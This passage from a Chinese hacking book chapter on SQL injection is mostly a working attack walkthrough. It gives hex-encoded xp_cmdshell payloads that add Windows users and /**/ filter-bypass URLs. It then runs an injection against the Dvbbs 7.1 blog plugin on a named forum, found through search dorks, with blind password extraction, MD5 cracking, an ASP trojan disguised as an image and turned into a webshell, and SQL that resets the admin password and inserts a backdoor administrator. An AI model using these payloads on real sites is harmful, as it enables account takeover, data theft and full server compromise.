書名: 網(wǎng)站入侵與腳本攻防修煉作者名: 肖遙編著本章字數(shù): 554字更新時間: 2019-03-01 22:12:44
第3章 深入SQL注入攻擊與防范
SQL注入攻擊是一把入侵網(wǎng)站的利刃,無數(shù)的網(wǎng)站在SQL注入面前紛紛倒下。隨著SQL注入技術的發(fā)展,SQL注入技術越來越巧妙,各種靈巧的SQL注入攻擊方式不斷地涌現(xiàn)。同時,面對SQL注入攻擊這把無堅不摧的利刃,又該如何進行防范,如何打造足以抵抗SQL注入的堅盾呢?
3.1 一廂情愿的過濾,缺失單引號與空格的注入
在上一章的SQL腳本注入攻擊中,大部分的SQL注入語句中都是少不了單引號的,尤其是在字符型注入中,單引號起著至關重要的作用。因此,針對SQL注入的幾種ASP安全編碼防范方式,一種簡單而有效的方法就是單引號過濾法,將用戶輸入提交的數(shù)據(jù)進行檢驗,過濾其中的單引號。
通常這類過濾,是使用replace函數(shù),通過類似的過濾語句:
replace(request("id"), "' ", "' ' ")
可將單引號轉成兩個單引號進行過濾,以致使用戶提交的數(shù)據(jù)在進行SQL語句查詢時出現(xiàn)語法錯誤。另外,也可以通過如下語句:
replace(request("id"), "' ", "")
直接將單引號過濾為空格,對用戶輸入提交數(shù)據(jù)進行嚴格限制。
另外,由于構造SQL注入語句時,其中往往包含有空格,因此許多程序設計者也會考慮過濾掉用戶輸入中的空格,如下面的過濾語句:
replace(request("id"), " ", "")
這條語句可以消去用戶提交數(shù)據(jù)中的所有空格,過濾掉危險的SQL注入語句。
上面的這幾種防御方法,可以導致正常的SQL注入失敗,然而程序設計者的考慮還是不周全的,這只是一個并不安全的注入半防御方法。
如果提交的參量兩邊并沒有被單引號封死,而僅依靠過濾用戶數(shù)據(jù)的單引號來防御SQL注入的話,那么惡意用戶很可能非法提交一些特殊的編碼字符,在提交時繞過網(wǎng)頁程序的字符過濾。這些編碼字符在經(jīng)過網(wǎng)站服務器的二次編碼后,就會重新生成轉換成為單引號或空格之類的字符,構成合法的SQL注入語句,完成攻擊。
3.1.1 轉換編碼,繞過程序過濾
這里,在使用SQL腳本注入檢測一個網(wǎng)站,網(wǎng)站鏈接為:http://www.****. com.cn/getpass.asp? id=2,使用單引號法進行檢測時,提交鏈接:
http://www.****.com.cn/getpass.asp? id=2'
出現(xiàn)了如下所示的提示錯誤信息(見圖1):
Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e14' …………字符串 ’' ' ’ 之前有未閉合的引號。…………

圖1 單引號被網(wǎng)頁程序替換成兩個單引號
從返回信息可知,網(wǎng)頁程序對單引號進行了過濾,替換成兩個單引號,因此導致返回錯誤信息中出現(xiàn)了雙單引號。
1.神奇的declare與OX6e編碼
如果利用SQL的xp_cmdshell在遠程主機上執(zhí)行命令時,語句將不能正常執(zhí)行。如提交如下語句:
http://www.****.com.cn/getpass.asp? id=2; exec master.dbo.xp_ cmdshell ' net user xiaoyao /add'
將會被轉換成如下錯誤語句:
http://www.****.com.cn/getpass.asp? id=2; exec master.dbo.xp_ cmdshell ' ' net user xiaoyao /add' '
在執(zhí)行xp_cmdshell命令時肯定是會出錯的。
現(xiàn)在,來嘗試提交如下攻擊語句:
http://www.****.com.cn/getpass.asp? id=2; declare%20@a%20sysnam e%20select%20@a=0x6e006500740020007500730065007200200061006e00 670065006c002000700061007300730020002f00610064006400%20exec%2 0master.dbo.xp_cmdshell%20@a; --
網(wǎng)址提交后,卻沒有返回錯誤信息,因為在提交的SQL腳本注入語句中,并沒有包含任何單引號,因此就可以繞過單引號的過濾,成功地注入。
其實,這個奇怪的語句與上面的語句就是同一個語句,只不過進行了編碼轉換而已。表面上看起來兩個注入語句有很大的區(qū)別,但實質卻是完全一樣的。
在第二個語句中“a=0x6e0065007400200075007300……”,參數(shù)a后面的數(shù)字實際上是“net user xiaoyao /add”的16進制格式編碼。整個SQL語句是先聲明一個變量a,變量a可以是任何執(zhí)行的Windows命令。然后把添加用戶的指令賦值給a,再通過調用變量a最終執(zhí)行前面執(zhí)行的命令。
整條語句其實可以拆分為下面3個單句:
declare @a sysname select @a=<要執(zhí)行的命令十六進制代碼> exec master.dbo.xp_cmdshell @a
由于SQL數(shù)據(jù)庫具有可執(zhí)行多句的特殊性,因此將3個語句組合后,就可以直接在注入點后進行提交了。因此,這種SQL腳本入侵技術,也僅限于使用SQL數(shù)據(jù)庫的注入點。
2.SQLInjectEncode二次編碼工具
有時候,網(wǎng)站程序的安全過濾非常嚴格,使用上面的Declare語句變形注入代碼后,依然不能成功。出現(xiàn)這種情況是因為網(wǎng)站程序對Declare等字符也進行了過濾,此時就要考慮進行二次編碼轉換了。
SQLInjectEncode(圖2)是一個SQL腳本注入攻擊工具,它可以自動地為用戶的SQL注入語句進行二次編碼合成,以避開網(wǎng)頁程序的單引號和空格過濾等,成功地注入網(wǎng)站程序。它利用的原理就是上面通過Declare聲明變量和0X6e編碼組合的方法,繞開單引號過濾進入注入攻擊。

圖2 SQLInjectEncode
另外,SQLInjectEncode注入工具可以替用戶自動地完成上面的語句轉換過程,同時還可以對上面語句中的declare等進行編碼轉換,躲過一些對“declare”也進行了過濾的網(wǎng)頁程序。
以對某SQL注入點進行攻擊檢測為例,該網(wǎng)站對單引號進行了過濾,注入的地址是:
http://www.****.com.cn/news_view.asp? id=90164
運行SQLInjectEncode后,在界面上方是“原始地址URL”,在這里輸入要注入的地址(圖3)。假設要執(zhí)行的命令是:
exec master.dbo.xp_cmdshell ' net user xiaoyao /add'

圖3 設置轉換攻擊參數(shù)
將要執(zhí)行的命令輸入下面的“SQL代碼”框中(圖3)。另外,程序允許多行編輯,如果要執(zhí)行多條SQL語句,可以在本地SQL服務器的客戶端程序“SQL查詢中”測試多行語句,通過后直接復制SQL代碼粘貼到工具中,程序在編碼的過程中會自動消去換行符號。
在輸入的URL地址下方有幾個選項,這也注入成功與否有著非常關鍵的聯(lián)系。
其中“需要單引號”復選框,主要用來設置完善SQL注入語句。有的網(wǎng)頁程序在注入時,需要在參數(shù)變量后加入一個單引號,以顯示注入后的反饋信息。此類注入點在進行and 1=1測試時,如果提交測試為:
http://www.****.com.cn/news_view.asp? id=90164 and 1=1
不能成功,而提交測試形式為:
http://www.****.com.cn/news_view.asp? id=90164' and '1' =1
能夠返回正常信息,則說明屬于“需要單引號”的類型,那么就必須勾選此復選框。
“需要--或/*收尾”復選框只是用來選擇隔斷符的,在SQL注入代碼的最后加入收尾隔斷符,以屏蔽腳本后面的代碼,這樣可以保證SQL注入代碼語句的完整正常。通常一般采用“--”收尾。
“/**/代替空格”復選框表示,將所有的空格都用“/**/”注釋來代替,主要用于前面所提及的情況中,網(wǎng)頁程序將空格過濾后,就可選擇該項。勾選“自動放入剪貼板”復選框后,生成的注入語句會自動剪貼板中,以方便粘貼到瀏覽器地址欄中執(zhí)行。
設置完畢后單擊【編碼】按鈕,軟件便會將代碼自動合成為十六進制代碼,在“合成后的URL”框中顯示并自動復制入剪貼板中(圖4)。

圖4 轉換編碼成功
如下面的注入語句,在經(jīng)過轉換后,其提交的編碼網(wǎng)址如下:
http://www.****.com.cn/news_view.asp? id=90164%20%64%65%63%6 C%61%72%65%20%40%5A%20%76%61%72%63%68%61%72%28%38%30%30%30%2 9%20%73%65%74%20%40%5A%3D%30%78%36%35%37%38%36%35%36%33%32%3 0%36%44%36%31%37%33%37%34%36%35%37%32%32%45%36%34%36%32%36%4 6%32%45%37%38%37%30%35%46%36%33%36%44%36%34%37%33%36%38%36%3 5%36%43%36%43%32%30%32%37%36%45%36%35%37%34%32%30%37%35%37%3 3%36%35%37%32%32%30%37%38%36%39%36%31%36%46%37%39%36%31%36%4 6%32%30%32%46%36%31%36%34%36%34%32%37%20%65%78%65%63%75%74%6 5%28%40%5a%29%2d%2d
可以看合成后的SQL注入指令,與前面的略有不同,這是由于程序對“declare”等字符也進行了重編碼,以更安全可靠地躲過網(wǎng)頁程序的過濾。
直接提交上面的注入代碼,回車后,就可以看到原本過濾了單引號的網(wǎng)站程序,現(xiàn)在已經(jīng)順利地執(zhí)行了SQL注入語句了。
3.1.2 /**/替換空格的注入攻擊
千里之堤毀于蟻穴,一些不被人注意的小插件、小功能,常常也導致堅固的論壇變得不堪一擊。動網(wǎng)7.1版本就曾因為集成的博客功能出現(xiàn)過一次SQL注入漏洞,導致攻擊者攻擊控制整個服務器,危害十分嚴重。
動網(wǎng)7.1SP1版的功能十分強大,安全性也非常好。由于網(wǎng)絡上博客非常流行,出于功能完備,動網(wǎng)7.1SP1中也新開發(fā)出了一個博客功能的插件。博客的界面做得很清新樸實,功能非常不錯,但是它的安全性卻不是很好。在博客程序的“Cls_main.asp”文件中,由于對參數(shù)“Arvchivelink”過濾得不是很好,導致“boke.asp”文件在調用時存在著注入漏洞。惡意的攻擊者可以利用該漏洞入侵論壇,并控制整個服務器。
1.漏洞代碼分析
打開動網(wǎng)7.1SP1版博客程序網(wǎng)頁文件“boke.asp”,可以看到顯示博客頻道文件的代碼如下:
Function ShowDispList(TopicID, Page) Dim PageHtml, TempHtml, Temp Dim Rs, Sql, SqlStr Dim MaxRows, Endpage, CountNum, PageSearch Endpage = 0 MaxRows = DvBoke.BokeSetting(8) 'Page = Request("Page") If IsNumeric(Page) = 0 or Page="" Then Page=1 Page = Clng(Page) 'If Ubound(DvBoke.ArchiveLink) = 4 Then ' SqlStr = DvBoke.CheckNumeric(Replace(Lcase(DvBoke.Archive Link(3)), ".html", "")) ' SqlStr = " And (ParentID = 0 Or PostID = " & SqlStr & ")" 'End If 'PostID=0 , CatID=1 , sCatID=2 , ParentID=3 , RootID=4 , UserID=5 , UserName=6 , Title=7 , Content=8 , JoinTime=9 , IP=10 , sType=11 Sql = "Select PostID, CatID, sCatID, ParentID, RootID, UserID, User Name, Title, Content, JoinTime, IP, sType From [Dv_Boke_Post] Where RootID="&TopicID&" "&SqlStr&" order by PostID " …………代碼省略……………… End Function
可以看到其中有一個非常重要的參數(shù)變量“ArchiveLink(3)”,該參數(shù)是用于傳遞收藏鏈接的,被代入了下面的語句中進行查詢(見圖5):
Sql = "Select PostID, CatID, sCatID, ParentID, RootID, UserID, User Name, Title, Content, JoinTime, IP, sType From [Dv_Boke_Post] Where RootID="&TopicID&" "&SqlStr&" order by PostID "

圖5 ArchiveLink參數(shù)被代入SQL查詢
ArchiveLink參數(shù)是通過“boke”目錄下的“Cls_Main.asp”文件函數(shù)傳遞的,在該文件中可以看到如下參數(shù)傳遞代碼:
Private Sub Class_Initialize() ……………………代碼省略……………………………… 'Skins_Path = "Boke/Skins/default/" Cache_Path = "Boke/CacheFile/" Dim Tmpstr Tmpstr = Request.ServerVariables("PATH_INFO") Tmpstr = Split(Tmpstr, "/") ScriptName = Lcase(Tmpstr(UBound(Tmpstr))) UserSex = 1 If Is_Isapi_Rewrite = 0 Then ModHtmlLinked = "? " ArchiveLink = Lcase(Request.ServerVariables("QUERY_STRING")) If ArchiveLink <> "" Then ArchiveLink = Split(ArchiveLink, ".") If Instr(Lcase(ArchiveLink(0)), "show_")=0 Then BokeName = Replace(ArchiveLink(0), ".html", "") Else ReDim ArchiveLink(5) End If If Lcase(InStr(Request.ServerVariables("QUERY_STRING"), ". html")) = 0 And Lcase(InStr(Request.ServerVariables("QUERY _STRING"), ".xml")) = 0 Then BokeName = Checkstr(Request("User ")) Set MyBoardOnline=new Cls_UserOnlne Dvbbs.GetForum_Setting Dvbbs.CheckUserLogin ……………………代碼省略……………………………… If Instr(Lcase(ArchiveLink(0)), "userid_") and IsNumeric (Replace(Lcase(ArchiveLink(0)), "userid_", "")) Then
BokeUserID = cCur(Replace(Lcase(ArchiveLink(0)), "userid _", "")) BokeName = "" ……………………代碼省略……………………………… End Sub
這段代碼是用于定義了一個Class_Initialize()過程,用于獲取博客的分欄類型等。在其中可以看到一個很重要的參數(shù)“ArchiveLink”,該參數(shù)是用來傳遞收藏鏈接的,此參數(shù)的獲取代碼為如下語句(圖6):
ArchiveLink = Lcase(Request.ServerVariables("QUERY_STRING")) If ArchiveLink <> "" Then ArchiveLink = Split(ArchiveLink, ".") If Instr(Lcase(ArchiveLink(0)), "show_")=0 Then BokeName = Replace(ArchiveLink(0), ".html", "") Else ReDim ArchiveLink(5) End If

圖6 ArchiveLink變量代碼
從上面的代碼中可以知道,ArchiveLink中可提取出BokeName的值。很顯然,ArchiveLink變量并沒有經(jīng)過嚴格的過濾,就被傳遞帶入了Boke.asp文件中,因此也給BokieName帶來了危險。因為,在圖6頁面下面205行處,可以看到如下代碼段:
Dim Sql, Rs Sql = "Select UserID, UserName, NickName, BokeName, Pass Word, BokeTitle, BokeChildTitle, BokeNote, JoinBokeTime, PageView, TopicNum, FavNum, PhotoNum, PostNum, TodayNum, Trackbacks, SpaceSize, XmlData, SysCatID, BokeSetting, LastUpTime, SkinID, Stats, S.S_ SkinName, S.S_Path, S.S_ViewPic, S.S_Info, S.S_Builder From [Dv_Boke_
User] U Inner Join [Dv_Boke_Skins] S On U.SkinID = S.S_ID" Sql = Lcase(Sql) If BokeName<>"" Then Sql = Sql & " where BokeName = ' "&BokeName&"' " ElseIf BokeUserID>0 Then Sql = Sql & " where UserID = "&BokeUserID Else '請選取相關的DVBOKE,返回綜合列表 Exit Sub End If
可知,BokieName被直接帶入了SQL查詢語句中(圖7), BokieName變量沒有經(jīng)過任何過濾,而BokieName本身又是從ArchiveLink傳遞而來的,因此造成了SQL注入漏洞。

圖7 BokieName參數(shù)直接進行SQL查詢
2.出錯信息判斷數(shù)據(jù)庫類型
動網(wǎng)7.1SP1有兩個版本:Access版和SQL版,這兩個版本中都存在著博客插件,同時存在著這個博客注入漏洞,危害十分大。
打開百度或Google搜索引擎,在其中輸入關鍵詞“Powered By Dvbbs Version 7.1.0 Sp1”進行搜索,可以找到大量使用動網(wǎng)7.1SP1版本的論壇。不過打開搜索到的論壇頁面時,若未注冊登錄,則看不到首頁上的“博客”插件(圖8),可以在論壇網(wǎng)址后加上“boke.asp”測試博客功能是否開放。

圖8 博客插件無法直接查看
以某論壇為例(http://www.binghexijian.com.cn/),將地址欄中的地址改為:
http://www.binghexijian.com.cn/boke.asp
如果彈出錯誤提示信息,則說明該論壇是存在博客網(wǎng)頁(圖9)。
“該博客用戶不存在或填寫的資料有誤!您可以 申請博客 或 登錄論壇”

圖9 漏洞文件存在
另外,由于現(xiàn)在許多網(wǎng)站管理員的安全意識有所提高了,可能會將動網(wǎng)論壇首頁的版權標識修改掉,無法搜索到這樣的論壇,因此也可以通過關鍵詞“Power by iBoker V1.0.0”進行搜索,可以直接找到論壇的博客頁面。
一般來說,如果是SQL版的動網(wǎng)7.1論壇,在頁面下方的版權信息中會顯示“Powered By Dvbbs Version 7.1.0 Sp1 SQL版”的提示。另外,Access版和SQL版的區(qū)別,可以查看管理員登錄首頁,上面有數(shù)據(jù)庫版本的標識(圖10)。

圖10 登錄頁面
也可以打開論壇的博客頁面,單擊打開任意一個用戶的博客首頁,通過注入返回的提示信息進行判斷。
這里以某論壇“http://www.binghexijian.com.cn/”為例,進行入侵測試。打開論壇博客列表:
http://www.binghexijian.com.cn/bokeindex.asp? show_user.html
顯示當前所有的博客信息(圖11)。單擊任意打開其中某個名為“冰河洗劍的博客”,其鏈接為:
http://www.binghexijian.com.cn/boke.asp? binghexijian.index. html

圖11 博客用戶列表
將IE瀏覽器地址欄中的鏈接改為:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and '1 '='1.index.html
回車后如果返回的錯誤提示信息是:
Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e14'
則說明該論壇是SQL版的(圖12);如果返回的信息為“Microsoft JET Database Engine錯誤 ’80040e14' ”則為Access版(圖13)。

圖12 SQL版返回信息

圖13 Access版返回信息
3.強行破解管理員密碼
獲得數(shù)據(jù)庫類型后,就可以開始進行SQL注入檢測了。這里先以Access版數(shù)據(jù)庫攻擊檢測為例。
1)獲取管理員用戶名
首先,在攻擊前需要確定論壇的管理員用戶名。
未注冊的用戶可以查看到論壇各版區(qū)的版主,但是卻不知道哪個是管理員。因此需要先在攻擊目標論壇注冊一個用戶名并登錄,然后單擊頁面中的“用戶列表”,打開用戶列表頁面后,在用戶搜索中將搜索范圍設置為“管理團隊”,這樣就可以看到論壇管理員用戶名了(圖14)。例如,這里可以看到管理員用戶名為“admin”。

圖14 獲取管理員用戶名
另外,直接進入到論壇的博客頁面,單擊頁面中的“博客索引”(圖15):
http://www.binghexijian.com.cn/bokeindex.asp? show_user.html

圖15 管理員的博客
隨后顯示當前所有的博客信息,在其中找到最早注冊的博客,如這里“創(chuàng)建時間”最早的博客名字為“木木,一個人的世界”,單擊后在打開的新窗口中可以看到博客鏈接為如下:
http://www.binghexijian.com.cn/boke.asp? binghexijian.index.html
鏈接中“index.html”前的“binghexijian”就是管理員用戶名了。
2)猜解密碼
在前面檢測數(shù)據(jù)庫類型時,提交了一個檢測語句:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and '1 '='1.index.html
返回了語法錯誤的信息,很顯然利用了前面分析的漏洞所以返回了錯誤信息。這里采用正常的方式and 1=1和and 1=2方式來進行檢測,先提交如下鏈接:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'1' = '1.html
請注意,這里與上面不同,SQL語句中沒有空格。可以看到語句提交后,正常地返回了用戶的博客頁面(圖16)。

圖16 and 1=1
再提交如下語句進行檢測:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'1' = '2.html
返回信息出錯,自動跳轉到了錯誤信息頁面(圖17)。

圖17 and 1=2
從上面兩個頁面對比判斷,可知此處存在著明顯的SQL注入漏洞。通過構造SQL注入語句,是可以猜解出管理員用戶密碼的。最簡單的方法,就是提交如下語句進行查詢:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'0' = left(password,1)and' ' =' .html
該語句可直接查詢管理員用戶密碼(password)中的第一位密碼是否為“0”,返回了錯誤信息。因此繼續(xù)進行猜測,提交如下:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'1' = left(password,1)and' ' =' .html
該語句可直接查詢管理員用戶密碼(password)中的第一位密碼是否為“1”,也返回了錯誤信息,繼續(xù)更改密碼,提交:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'2' = left(password,1)and' ' =' .html http://www.binghexijian.com.cn/boke.asp? binghexijian' and'3' = left(password,1)and' ' =' .html
直接到提交如下鏈接,打開頁面見圖18:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'4' = left(password,1)and' ' =' .html

圖18 猜解出第1位密碼字符為4
然后返回了正常的頁面,說明用戶密碼第一位為“4”。再繼續(xù)猜第2位密碼字符,提交語句如下:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'40'
=left(password,2)and' ' =' .html
該語句用于查詢密碼的前兩位是否為“40”,返回了錯誤頁面,因此注意,這里要保留第1位字符在查詢字段中。然后將“40”改為“41”、“42”、“43”,繼續(xù)進行提交,直到返回正常頁面。這里提交到“46”,鏈接如下:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'46' =left(password,2)and' ' =' .html
返回了正常的頁面,說明第二位字符為“6”。再繼續(xù)提交查詢第三位密碼,查詢鏈接為:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'460 '=left(password,4)and' ' =' .html
同樣,修改提交的數(shù)字“460”為“461”、“462”……,但是一直提交到“469”,返回正常的頁面,說明第三位字符為“9”。再繼續(xù)提交查詢第四位密碼,查詢鏈接為:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'469 0' =left(password,4)and' ' =' .html
同樣,修改提交的數(shù)字“4690”為“4691”、“4692”……,但是一直提交到“4699”,也沒有返回正常信息,則說明第四位字符不是數(shù)字,而是字母(圖19)。因此修改提交鏈接:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'469 a' =left(password,4)and' ' =' .html
此鏈接猜測第四位字符是否為字母“a”,修改“469a”為“469b”、“469c”、“469d”……一直到返回正常信息,即可確定第四位字符是哪一個字母。這里提交到:
http://www.binghexijian.com.cn/boke.asp? binghexijian' and'469 e' =left(password,4)and' ' =' .html
返回了正常的頁面,說明第四位字符為“e”。用同樣的方法繼續(xù)進行猜解第五位字符、第六位字符,直到第16位字符方可終止。因為密碼是經(jīng)過16位MD5加密的,所以必須猜解到16位字符。

圖19 第4位字符為字母e
不過Access注入時手工猜解密碼非常慢,這里借助一個自動攻擊工具進行檢測演示。
運行動網(wǎng)論壇7.1博客程序注入漏洞利用工具“dv_boke.exe”,在“地址”框中輸入論壇博客程序的漏洞文件,一般為“http://論壇地址/booke.asp”,這里為“http://www.binghexijian.com.cn/boke.asp”;在下面的“用戶名”中輸入管理員的博客用戶名,注意,不是輸入管理員用戶名。例如,這里管理員用戶名為“admin”,其博客用戶名為“binghexijian”,那么需要輸入的是“binghexijian”(圖20)。

圖20 動網(wǎng)論壇7.1博客程序注入漏洞利用工具
設置完畢后,單擊【開始】按鈕,彈出信息提示框“嘗試獲取密碼,請耐心等待”。單擊【確定】按鈕后,程序就會開始自動破解管理員的密碼了(圖21)。過幾分鐘后,在下方的“結果”中就會顯示出該管理員的用戶密碼了。

圖21 管理員用戶密碼破解過程中
3)破解用戶密碼明文
破解得到的用戶密碼“469e80d32c0559f8”(圖22),是經(jīng)過16位MD5算法加密的,因此需要進行破解還原為密碼明文。MD5加密方式采用了一種很復雜的加密算法,還原MD5密碼比較困難,可以使用一些專門的MD5密碼破解工具,如“Dv.exe”、“MD59”等。

圖22 管理員MD5密碼
(1)小巧強悍的DV
dv這個小工具可以在幾秒之內就破解出8位數(shù)以內的純字母和數(shù)字。工具運行在命令模式下,使用方法很簡單,輸入“dv.exe /? ”可以看到命令的運行格式(圖23):
dv -p <pwfile> -w <wordlist>— -b -o <outfile>
其中各參數(shù)的代表意義如下:
-p <pwfile> 指定從此文件讀取md5的散列和用戶名; -w <wordlist> 表未從此文件讀取字典來破解; -o <outfile> 用于指定存放最后得到的密碼和用戶名的文件名; -b [num]—[char]暴力破解,num代表8位數(shù)字破解,char代表8位字符破解。

圖23 DV破解工具
記事本創(chuàng)建一個名為“passfile.txt”的文本文件,按文件格式為“MD5密碼 用戶名”,將管理員用戶名和密碼粘貼在其中。再準備一個字典文件“password.txt”,在窗口中執(zhí)行如下命令:
dv -p passfile.txt -w password.txt -o c:\final.txt
命令執(zhí)行后,如果順利,不出5分鐘,被破譯還原出來的明文密碼就將保存在“c:\final.txt”文件中。
(2)強力暴力破解密碼
相對DV的破解速度,MD59顯得要慢一些,但是它可以破解包括字母、數(shù)字、特殊字符的各種混合密碼,比DV的功能要全得多。
運行程序后,在“加密密碼”中輸入要要破解的加密密文“469e80d32c0559f8”。然后單擊【字典還原】按鈕,首先使用自帶的字典進行破解,如果找不到正確密碼就會打開暴力破解程序(圖24)。
在“密碼選項”中勾選“窮舉模式”,并設置要破解密碼位數(shù)及密碼中包含的字符類型,可設置為純數(shù)字或純字符破解,也可以設置成混合字符破解,單擊【開始】按鈕即可開始暴力破解密碼。如果勾選“字典模式”,并選擇相應的字典文件后,可以使用字典方式進行破解。
(3)網(wǎng)站破解
網(wǎng)上有一些專門用于破解MD5密碼的網(wǎng)站,這些網(wǎng)站收集了大量的MD5密碼散列,如果密文包含在收集的散列數(shù)據(jù)庫中的話,很快就可以還原出密碼明文。

圖24 MD5暴力破解程序
以XMD5網(wǎng)站(“http://xmd5.org/index_en.htm”)為例,在中間的輸入框中粘貼入剛才的16位密文,單擊【query】按鈕,很快就可以得到查詢結果了(圖25)。

圖25 在線破解MD5密碼很快速
4)登錄后臺上傳ASP木馬
如果成功地破解了管理員的密碼后,就可以登錄網(wǎng)站后臺上傳ASP木馬了。
上傳方法很簡單,首先在前臺發(fā)一張?zhí)樱谔觾热葜羞x擇上傳圖片。需要準備一個ASP木馬后門程序,這里使用的是“桂林老兵asp站長助手6.0”,將程序文件“dbm6.asp”改名為圖片格式“dbm6.jpg”,然后在帖子中進行上傳(圖26)。

圖26 上傳ASP木馬
上傳成功后,在帖子內容輸入框中會顯示上傳后的圖片路徑及文件名,這里為“UploadFile/2006-4/200641220164989411.jpg”。
用管理員身份登錄后,單擊論壇頁面中的“管理”鏈接,進入后臺管理頁面。在左側邊欄中單擊“數(shù)據(jù)處理”→“恢復數(shù)據(jù)庫”,在右側頁面中就可以通過數(shù)據(jù)庫恢復功能將圖片文件還原成ASP木馬了。
首先在“備份數(shù)據(jù)庫路徑”中輸入剛才上傳的假圖片的地址,這里因為是相對路徑,所以為“../UploadFile/2006-4/200641220164989411.jpg”;在“目標數(shù)據(jù)庫路徑”中輸入要生成的ASP木馬文件名,注意后綴一定要為.a(chǎn)sp,這里是“../Databackup/dbm6.asp”(圖27)。

圖27 設置數(shù)據(jù)庫恢復信息
設置完畢后,單擊【確定】按鈕完成數(shù)據(jù)庫備份操作,生成了一個ASP木馬了,路徑為“http://www.binghexijian.com.cn/Databackup/dbm6.asp”。
在IE瀏覽器地址欄中輸入ASP木馬地址,打開后就可以得到一個Webshell,如果權限足夠的話,就可以進一步控制整個網(wǎng)站服務器了。
4.Update更新管理員密碼
對于SQL版的動網(wǎng)漏洞論壇,借助SQL數(shù)據(jù)庫的強大功能,進行注入攻擊是非常簡單的方法。當然,也可以用與Access相同的方法直接進行猜解,但在這里,使用SQL查詢中的Update語句進行管理員密碼顯示和修改。
首先,在論壇注冊一個用戶名為“xiaoyao”的用戶,注冊時記住輸入自己的Email地址信息為“test@test.com”。注冊成功后,打開用戶資料設置頁面,可查看到Email等注冊信息。這里可以看到Email地址信息顯示為“test@test.com”(圖28)。

圖28 注冊時的Email信息
現(xiàn)在我們的目的是將管理員的密碼顯示在xiaoyao用戶的Email地址信息中,因此構造如下查詢語句:
Update Dv_User set UserEmail=(select Password from Dv_admin where Username=' admin' ) where UserName=' xiaoyao'
但是,由于程序中已經(jīng)過濾了用戶提交數(shù)據(jù)中的空格,因此上面的語句去掉空格后是無法執(zhí)行的,需要進行轉換。在這里,可使用/**/代替空格進行查詢。語句可轉換為如下:
update/**/Dv_User/**/set/**/UserEmail=(select[Password]from/ **/Dv_admin/**/where[Username]=' admin' )/**/where[UserName]= 'xiaoyao'
因此,現(xiàn)在打開另一個IE窗口,在其中提交如下語句:
http://www.binghexijian.com.cn/boke.asp? binghexijian' ; Update Dv_User set UserEmail=(select Password from Dv_admin where U sername=' admin' ) where UserName=' xiaoyao' ; --.index.html
該語句的作用是,將用戶表“Dv_User”中用戶名為“xiaoyao”的“UserEmail”數(shù)據(jù)更新,其更新值為用戶表“Dv_User”中用戶名為“admin”的密碼。也就是說,用戶名為“xiaoyao”的Email信息被改成了“admin”用戶的密碼。在這里“admin”是管理員的用戶名,可根據(jù)具體入侵檢測時的論壇管理員用戶名進行修改。
提交上面的語句后,返回信息正常,現(xiàn)在刷新剛才的注冊用戶聯(lián)系資料頁面,可以看到Email地址信息發(fā)生了變化。現(xiàn)在Email地址信息中顯示了字符串“469e80d32c0559f8”。

圖29 查詢返回管理員密碼
另外,動網(wǎng)版本不一樣,上面的語句有可能會因為含有單引號而被過濾出錯,因此可參照前面提到的方法進行二次編碼轉換。要執(zhí)行的語句:
Update Dv_User set UserEmail=(select Password from Dv_admin where Username=' admin' ) where UserName=' xiaoyao'
可以轉換成為如下語句:
DECLARE @S VARCHAR(4000); SET @S=CAST(0x5570646174652044765F5 5736572207365742055736572456D61696C3D2873656C656374205061737 3776F72642066726F6D2044765F61646D696E20776865726520557365726 E616D653D2761646D696E272920776865726520557365724E616D653D277 869616F79616F270D0A AS VARCHAR(4000)); EXEC(@S); --
再用/**/代替其中的空格,就變?yōu)榱耍?/p>
DECLARE/**/@S/**/VARCHAR(4000); SET/**/@S=CAST(0x557064617465 2044765F55736572207365742055736572456D61696C3D2873656C656374
2050617373776F72642066726F6D2044765F61646D696E2077686572652055 7365726E616D653D2761646D696E272920776865726520557365724E616D65 3D277869616F79616F270D0A/**/ AS/**/VARCHAR(4000)); EXEC(@S); --
于是,提交如下語句即可:
http://www.binghexijian.com.cn/boke.asp? binghexijian' ; DECLAR E/**/@S/**/VARCHAR(4000); SET/**/@S=CAST(0x557064617465204476 5F55736572207365742055736572456D61696C3D2873656C656374205061 7373776F72642066726F6D2044765F61646D696E20776865726520557365 726E616D653D2761646D696E272920776865726520557365724E616D653D 277869616F79616F270D0A/**/ AS/**/VARCHAR(4000)); EXEC(@S); --
查詢到管理員的密碼后,就可對管理員的密碼進行破解。不過破解也同樣是很麻煩的,這里可使用SQL查詢直接更新管理員的密碼。修改管理員密碼的語句如下:
Update Dv_User set UserPassword='49ba59abbe56e057' where User Name=' admin'
該語句可將管理員密碼修改為“49ba59abbe56e057”,也就是123456的MD5加密密文。同樣需要加入“/**/”躲過空格的過濾:
Update/**/Dv_User/**/set/**/UserPassword='49ba59abbe56e057' / **/where/**/UserName=' admin'
因此提交如下語句:
http://www.binghexijian.com.cn/boke.asp? binghexijian' ; Updat e/**/Dv_User/**/set/**/UserPassword='49ba59abbe56e057' /**/where /**/UserName=' admin' ; --
即可將管理員admin的用戶名修改為“123456”了。
另外,也可以直接提升自己的權限,如提升權限的SQL語句為:
update [Dv_User] set UserGroupID=1 where username=' xiaoyao'
用同樣的方法轉換提交后,即可將用戶xiaoyao提升為前臺管理員。提升為后臺管理員的命令為:
insert into dv_admin (username, [password], flag, adduser) values (' xiaoyao' , '49ba59abbe56e057' , '1,2,3,4,5,6,7,8,9,10,11,12,1
3,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,3 3,34,35,36,37' , ' Andyower' )
命令執(zhí)行后,即可在dv_admin表中添加一條新記錄,用戶名xiaoyao即可被添加到后臺管理員用戶列表中了,后臺登錄密碼是“123456”。
5.注入與跨站組合攻擊
